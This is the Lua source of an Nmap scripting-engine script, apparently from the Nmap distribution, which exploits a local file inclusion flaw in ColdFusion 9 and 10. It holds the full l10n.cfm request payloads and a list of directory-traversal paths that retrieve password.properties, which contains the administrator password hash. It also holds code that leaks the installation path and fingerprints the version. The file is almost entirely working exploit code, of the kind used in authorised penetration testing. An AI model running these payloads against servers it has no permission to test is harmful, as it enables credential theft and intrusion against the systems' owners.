148 lines
5.4 KiB
Lua
148 lines
5.4 KiB
Lua
description = [[
|
|
Attempts to retrieve version, absolute path of administration panel and the
|
|
file 'password.properties' from vulnerable installations of ColdFusion 9 and
|
|
10.
|
|
|
|
This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
|
|
]]
|
|
|
|
---
|
|
-- @see http-adobe-coldfusion-apsa1301.nse
|
|
-- @see http-vuln-cve2009-3960.nse
|
|
-- @see http-vuln-cve2010-2861.nse
|
|
--
|
|
-- @usage nmap -sV --script http-coldfusion-subzero <target>
|
|
-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
|
|
--
|
|
-- @output
|
|
-- PORT STATE SERVICE REASON
|
|
-- 80/tcp open http syn-ack
|
|
-- | http-coldfusion-subzero:
|
|
-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
|
|
-- | version: 9
|
|
-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
|
|
-- | rdspassword=
|
|
-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
|
|
-- |_encrypted=true
|
|
--
|
|
-- @xmloutput
|
|
-- <elem key="version">9</elem>
|
|
-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
</elem>
|
|
-- @args http-coldfusion-subzero.basepath Base path. Default: /.
|
|
--
|
|
---
|
|
|
|
author = "Paulino Calderon <calderon@websec.mx>"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"exploit"}
|
|
|
|
local http = require "http"
|
|
local shortport = require "shortport"
|
|
local stdnse = require "stdnse"
|
|
local string = require "string"
|
|
local url = require "url"
|
|
local openssl = stdnse.silent_require "openssl"
|
|
|
|
portrule = shortport.http
|
|
|
|
local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&\z
|
|
attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&\z
|
|
attributes.var=it&attributes.jscript=false&attributes.type=text/html&\z
|
|
attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
|
|
local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
|
|
local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id\z
|
|
=it&attributes.file=../../administrator/mail/download.cfm&filename="
|
|
local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&\z
|
|
attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&\z
|
|
thisTag.executionmode=end&thisTag.generatedContent=htp"
|
|
local CREDENTIALS_PAYLOADS = {
|
|
"../../lib/password.properties",
|
|
"..\\..\\lib\\password.properties",
|
|
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties",
|
|
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
|
|
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
|
|
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
|
|
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
|
|
"../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
|
|
"../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
|
|
"../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"
|
|
}
|
|
|
|
---
|
|
-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY
|
|
-- value from the header 'set-cookie'
|
|
--
|
|
local function get_installation_path(host, port, basepath)
|
|
local req = http.get(host, port, basepath..PATH_PAYLOAD)
|
|
if req.header['set-cookie'] then
|
|
stdnse.debug1("Header 'set-cookie' detected in response.")
|
|
local _, _, path = string.find(req.header['set-cookie'],
|
|
"path=/, ANALYZER_DIRECTORY=(.-);path=/")
|
|
if path then
|
|
stdnse.debug1("Extracted path:%s", path)
|
|
return path
|
|
end
|
|
end
|
|
return nil
|
|
end
|
|
|
|
---
|
|
-- Extracts version by comparing an image with known md5 checksums
|
|
--
|
|
local function get_version(host, port, basepath)
|
|
local version = -1
|
|
local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
|
|
if img_req.status == 200 then
|
|
local md5chk = stdnse.tohex(openssl.md5(img_req.body))
|
|
if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
|
|
stdnse.debug1("CF version 10 detected.")
|
|
version = 10
|
|
elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
|
|
stdnse.debug1("CF version 9 detected.")
|
|
version = 9
|
|
elseif md5chk == "" then
|
|
stdnse.debug1("CF version 8 detected.")
|
|
version = 8
|
|
else
|
|
stdnse.debug1("Could not determine version.")
|
|
version = nil
|
|
end
|
|
end
|
|
return version
|
|
end
|
|
|
|
---
|
|
-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
|
|
local function exploit(host, port, basepath)
|
|
for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
|
|
local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
|
|
if req.body and string.find(req.body, "encrypted=true") then
|
|
stdnse.debug1("String pattern found. Exploitation worked with vector '%s'.", vector)
|
|
return true, req.body
|
|
end
|
|
end
|
|
end
|
|
|
|
action = function(host, port)
|
|
local output_tab = stdnse.output_table()
|
|
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
|
|
|
|
local installation_path = get_installation_path(host, port, basepath)
|
|
local version_num = get_version(host, port, basepath)
|
|
local status, file = exploit(host, port, basepath)
|
|
|
|
if status then
|
|
if version_num then
|
|
output_tab.version = version_num
|
|
end
|
|
if installation_path then
|
|
output_tab.installation_path = url.unescape(installation_path)
|
|
end
|
|
output_tab.password_properties = file
|
|
else
|
|
return nil
|
|
end
|
|
|
|
return output_tab
|
|
end
|